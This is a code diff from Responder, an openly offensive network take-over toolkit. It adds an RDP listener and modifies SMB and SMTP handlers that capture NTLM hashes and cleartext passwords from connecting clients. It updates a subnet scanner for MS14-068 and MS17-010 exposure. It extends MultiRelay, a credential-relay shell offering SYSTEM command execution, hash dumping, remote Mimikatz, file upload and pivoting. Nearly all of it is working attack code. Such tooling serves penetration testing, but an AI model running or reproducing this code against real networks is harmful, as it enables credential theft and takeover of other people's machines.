self.request.send(PacketSequence(data, self.client_address[0]))
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
except:
pass

134
servers/RDP.py Normal file
View File

@@ -0,0 +1,134 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler
from utils import *
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
import struct
import re
import ssl
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
SaveToDb({
'module': 'RDP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
SaveToDb({
'module': 'RDP',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'fullhash': WriteHash,
})
def FindNTLMNegoStep(data):
NTLMStart = data.find('NTLMSSP')
NTLMString = data[NTLMStart:]
NTLMStep = NTLMString[8:12]
if NTLMStep == "\x01\x00\x00\x00":
return NTLMStep
if NTLMStep == "\x03\x00\x00\x00":
return NTLMStep
else:
return False
class RDP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(30)
Challenge = RandomChallenge()
if data[11:12] == "\x01":
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
x.calculate()
SSLsock.write(str(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
ParseNTLMHash(data,self.client_address[0], Challenge)
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
if data[len(data)-4:] == "\x03\x00\x00\x00":
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
x.calculate()
SSLsock.write(str(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
ParseNTLMHash(data,self.client_address[0], Challenge)
else:
return False
except:
pass

View File

@@ -88,7 +88,7 @@ def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@@ -105,7 +105,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
@@ -124,7 +124,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMB',
@@ -135,33 +135,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
'fullhash': WriteHash,
})
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
@@ -171,7 +145,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
SaveToDb({
'module': 'SMB',
@@ -185,7 +159,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
@@ -221,6 +195,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
Challenge = RandomChallenge()
if not data:
break
@@ -233,7 +208,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
except:
pass
##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
@@ -255,7 +229,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
@@ -263,7 +237,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0])
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
@@ -289,9 +263,9 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
@@ -313,7 +287,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
ParseSMBHash(data,self.client_address[0], Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
@@ -401,7 +375,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
@@ -409,7 +383,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
@@ -423,7 +397,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet

View File

@@ -26,28 +26,16 @@ class ESMTP(BaseRequestHandler):
self.request.send(str(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
if AuthPlain:
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
Username = User[0]
Password = User[1]
SaveToDb({
'module': 'SMTP',
@@ -56,7 +44,36 @@ class ESMTP(BaseRequestHandler):
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
})
else:
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception:
raise
pass

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import *
__version__ = 'Responder 2.3.3.0'
__version__ = 'Responder 2.3.4.0'
class Settings:
@@ -88,6 +88,7 @@ class Settings:
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File
@@ -195,14 +196,19 @@ class Settings:
# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
self.NumChal = "random"
if len(self.NumChal) is not 16:
if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1)
self.Challenge = ""
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
if self.NumChal.lower() == 'random':
pass
else:
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -222,12 +228,35 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except:
try:
NetworkCard = subprocess.check_output(["ip", "address", "show"])
except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
try:
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print "Missing Module:", ex
pass
def init():
global Config

View File

@@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
Interface = options.Interface
Responder_IP = FindLocalIP(Interface)
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = Responder_IP

0
tools/DHCP_Auto.sh Normal file → Executable file
View File

View File

@@ -14,55 +14,86 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import re,sys,socket,struct
import os
import datetime
import struct
import socket
import multiprocessing
from socket import *
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMB2Header, SMB2Nego, SMB2NegoData
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
if Filetime == 0: # server may not disclose this info
return 0, "Unknown"
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t):
def IsDCVuln(t, host):
if t[0] == 0:
print "Server", host[0], "did not disclose its boot time"
return
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068"
print "DC is up since:", t[1]
print "System is up since:", t[1]
print "This system may be vulnerable to MS14-068"
Date = datetime.datetime(2017, 03, 14, 0, 30)
if t[0] < Date:
print "System is up since:", t[1]
print "This system may be vulnerable to MS17-010"
print "Server", host[0], "is up since:", t[1]
def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(5)
Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2Nego(Data = SMB2NegoData())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(5)
try:
s.connect(host)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
data = s.recv(1024)
if data[4:5] == "\xff":
print "This host doesn't support SMBv2"
print "Server", host[0], "doesn't support SMBv2"
if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]))
except Exception:
IsDCVuln(GetBootTime(data[116:124]), host)
except KeyboardInterrupt:
s.close()
raise
sys.exit("\rExiting...")
except:
s.close()
pass
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__":
if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
host = sys.argv[1],445
run(host)
sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
m = re.search("/", str(sys.argv[1]))
if m :
net,_,mask = sys.argv[1].partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=run, args=((host,445),))
threads.append(p)
p.start()
else:
run((str(sys.argv[1]),445))

View File

@@ -214,7 +214,7 @@ def IcmpRedirectSock(DestinationIP):
def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script')
Show_Help('Hit CTRL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None:
Show_Help(MoreHelp)

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@@ -20,6 +20,8 @@ import os
import logging
import optparse
import time
import random
import subprocess
from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try:
@@ -28,29 +30,44 @@ except ImportError:
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
print "You can install it on debian based os with this command: apt-get install python-crypto"
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
try:
import readline
except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
pass
from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import *
from SMBFinger.Finger import RunFinger
from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import *
__version__ = "1.0"
__version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser):
args=[]
for arg in parser.rargs:
if arg[0] != "-":
args.append(arg)
if arg[0] == "-":
break
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options, args = parser.parse_args()
@@ -65,29 +82,37 @@ if options.UserToRelay is None:
if options.ExtraPort is None:
options.ExtraPort = 0
ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = options.TARGET, 445
Cmd = []
ShellOpen = []
if not os.geteuid() == 0:
print color("[!] MultiRelay must be run as root.")
sys.exit(-1)
OneCommand = options.OneCommand
Dump = options.Dump
ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = [options.TARGET]
Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome():
print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1)
print color('Version: '+__version__,8,1)
print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\n'
print 'To kill this script hit CTRL-C.\n'
print color('/*',8,1)
print 'Use this script in combination with Responder.py for best results.'
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
print 'This tool listen on TCP port 80, 3128 and 445.'
print 'Make sure nothing use these ports.\n'
print 'For optimal pwnage, launch Responder with only these 2 options:'
print '-rv\nRunning psexec style commands can be noisy in the event viewer,'
print 'if anyone ever reads it.. If you want to leave no trace in the'
print 'event viewer, use Responder\'s built-in commands. They silently'
print 'perform the tasks requested, including the hashdump command.'
print 'For optimal pwnage, launch Responder only with these 2 options:'
print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
print 'If you do so, use taskkill (as system) to kill the process.'
print color('*/',8,1)
print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1)
print '\n'
@@ -101,14 +126,29 @@ def ShowHelp():
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
print ' If you want to quit type exit and then use CRTL-C\n'
print ' If you want to quit type exit and then use CTRL-C\n'
print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def UploadContent(File):
with file(File) as f:
s = f.read()
FileLen = len(s)
FileContent = s
return FileLen, FileContent
try:
RunFinger(Host[0])
@@ -133,28 +173,37 @@ def IsShellOpen():
else:
return True
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
def IsPivotOn():
#While there's nothing in our array return false.
if Pivoting[0] == "2":
return False
#If there is return True.
if Pivoting[0] == "1":
return True
def ConnectToTarget():
try:
s = socket(AF_INET, SOCK_STREAM)
#Override TCP keep-alives
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host)
s.connect((Host[0],445))
return s
except:
"Cannot connect to target, host down?"
sys.exit(1)
try:
sys.exit(1)
print "Cannot connect to target, host down?"
except:
pass
class HTTPProxyRelay(BaseRequestHandler):
def handle(self):
try:
#Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen():
return None
if IsPivotOn():
return None
except:
raise
@@ -176,7 +225,7 @@ class HTTPProxyRelay(BaseRequestHandler):
if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate()
packet0 = str(h)+str(n)
@@ -185,18 +234,18 @@ class HTTPProxyRelay(BaseRequestHandler):
smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00":
